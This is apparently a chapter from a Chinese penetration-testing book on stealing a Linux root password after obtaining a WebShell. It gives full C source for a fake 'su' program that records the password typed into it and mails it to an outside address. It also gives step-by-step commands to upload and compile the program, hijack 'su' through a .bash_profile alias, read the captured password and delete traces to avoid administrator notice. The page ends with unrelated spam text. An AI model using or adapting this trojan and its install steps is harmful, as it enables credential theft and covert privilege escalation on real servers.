官术网_书友最值得收藏!

3.1 使用fakesu記錄root用戶的密碼

在Linux滲透中,比較容易獲取服務器上網站的WebShell。就目前的環境來說,Linux服務器提權比較困難。那么,如何在獲取了WebShell權限的情況下,通過WebShell反彈到指定了獨立IP地址的服務器上,并通過反彈的Shell安裝程序捕獲root用戶的密碼呢?本節就對已知的記錄root用戶密碼的方法進行探討。

3.1.1 使用kpr-fakesu.c記錄root用戶的密碼

kpr-fakesu.c程序可用于記錄root用戶的密碼。

1.kpr-fakesu.c程序源代碼

kpr-fakesu.c程序的新版本為0.9beta167,是由koper開發的(koper@linuxmail.org),源代碼如下。

        #include <stdio.h>
        #include <stdlib.h>
        main(int argc, char *argv[]){
        FILE *fp;
        char *user;
        char *pass;
        char filex[100];
        char clean[100];
        sprintf(filex, "/var/tmp/.mail");
        sprintf(clean, "rm  -rf  /var/tmp/.su; mv  -f  /home/webshell/.wgetrc  /home/
    webshell/.bash_profile");
        if(argc==1) user="root";
        if(argc==2) user=argv[1];
        if(argc>2){
        if(strcmp(argv[1], "-l")==0)
            user=argv[2];
        else user=argv[1]; }
        fprintf(stdout, "Password: "); pass=getpass ("");
        system("sleep 3");
        fprintf(stdout, "su: Authentication failure\nSorry.\n");
        if ((fp=fopen(filex, "w")) ! = NULL)
          {
          fprintf(fp, "%s:%s\n", user, pass);
          fclose(fp);
          }
        system(clean);
        system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");
        system("uname   -a   >>   /var/tmp/.mail;   cat   /var/tmp/.mail   |   mail
    admin@antian365.com");
        }

2.運行前必須修改程序

運行該程序前,必須對程序進行修改,否則即使執行該程序也不會得到結果。在上面的程序代碼中有3個地方需要修改,具體如下。

(1)修改密碼記錄的文件名稱

在代碼中修改sprintf(filex, "/var/tmp/.mail")函數。在該函數中默認生成的密碼記錄文件的后綴是“.mail”,可以將“.mail”修改為任意文件后綴(切記修改時一定要全部修改,以上代碼中共有3處需要修改)。

(2)修改反彈Shell主目錄

將“sprintf(clean, "rm-rf/var/tmp/.su; mv-f/home/webshell/.wgetrc/home/webshell/.bash_profile"); ”中的“/home/webshell”修改為實際用戶的主目錄名稱(以上代碼中有2處需要修改)。

(3)修改郵件發送地址

將“system("uname-a>>/var/tmp/.mail; cat/var/tmp/.mail | mail admin@antian365.com"); ”中的郵件地址修改為能夠正常接收郵件的郵件地址。如果不需要接收郵件,可以將該行代碼刪除。

3.1.2 運行鍵盤記錄程序

(1)將fakesu.c程序復制到用戶目錄下

如果具備SSH用戶權限,可以通過SSH Secure Shell的文件傳輸功能將本地文件上傳到服務器中,如圖3-1所示。如果具備WebShell權限,也可以通過WebShell將fakesu.c程序上傳到服務器中。如果是反彈的DOS命令提示符,則可以通過命令“wget http://www.somesite.com/fakesu.c”將其下載到服務器中。

圖3-1 將代碼上傳到服務器

(2)再次檢查源代碼

使用“cat fakesu.c”命令查看程序源代碼,確認之前提及的3個地方都已正確修改,如圖3-2所示。

圖3-2 檢查源代碼

(3)執行命令

執行如下命令。

        Chmod 777 fakesu.c
        gcc -o .su fakesu.c; rm -rf fakesu.c
        mv .su /var/tmp/.su
        cd ~
        cp .bash_profile  .wgetrc
        cp .bash_profile  .wgetrb
        echo "alias su=/var/tmp/.su">>.bash_profile
        Logout

· “Chmod 777 fakesu.c”表示使程序“fakesu.c”具有最高權限。

· “gcc-o .su fakesu.c; rm-rf fakesu.c”用于編譯fakesu.c程序,生成.su文件,同時徹底刪除fakesu.c程序?!皉m-rf”用于在Linux中徹底刪除文件及目錄(不管目錄中是否存在文件)。

· “cd~”用于轉到當前Shell的主目錄。

· “cp .bash_profile .wgetrb”用于將.bash_profile文件備份成.wgetrb文件。

· “echo "alias su=/var/tmp/.su">>.bash_profile”用于將用戶登錄的su命令指向“/var/tmp/.su”命令。

· “Logout”用于注銷當前SSH Secure Shell登錄命令。如果是反彈Shell,可以使用“exit”命令。執行命令后,如圖3-3所示,編譯fakesu.c程序時可能會出現警告信息“webadm.c:19:警告:賦值時將整數賦給指針,未作類型轉換”,該警告信息不會影響程序的正常運行。

圖3-3 執行命令

3.1.3 查看密碼記錄文件

根據fakesu.c程序中設置的密碼記錄文件可知,在本例中記錄的文件為“/var/tmp/.pwds”。該文件默認為隱藏屬性,可以直接通過命令“cat/var/tmp/.pwds”查看,如圖3-4所示,記錄的root用戶的密碼為“simeon”。

圖3-4 獲取root用戶的密碼

3.1.4 刪除安裝文件

當fakesu.c程序成功記錄root用戶的密碼后,需要刪除安裝的程序文件,否則時間久了容易引起管理員的警覺??梢允褂靡韵旅顒h除程序文件。

        rm -rf /var/tmp/.su
        cp  .wgetrb .bash_profile
        rm -rf .wgetrc
        rm -rf /var/tmp/.pwds
主站蜘蛛池模板: 开江县| 德昌县| 松江区| 绍兴市| 义马市| 呼图壁县| 隆安县| 车致| 福鼎市| 屯门区| 全椒县| 西林县| 聂荣县| 阿勒泰市| 涞源县| 凤城市| 富锦市| 峡江县| 当阳市| 西充县| 高雄市| 手机| 杭锦后旗| 贺兰县| 疏附县| 芒康县| 广元市| 开阳县| 万年县| 宁蒗| 张掖市| 广宁县| 灌云县| 舟曲县| 沅陵县| 牙克石市| 芒康县| 湖北省| 洱源县| 东至县| 吐鲁番市|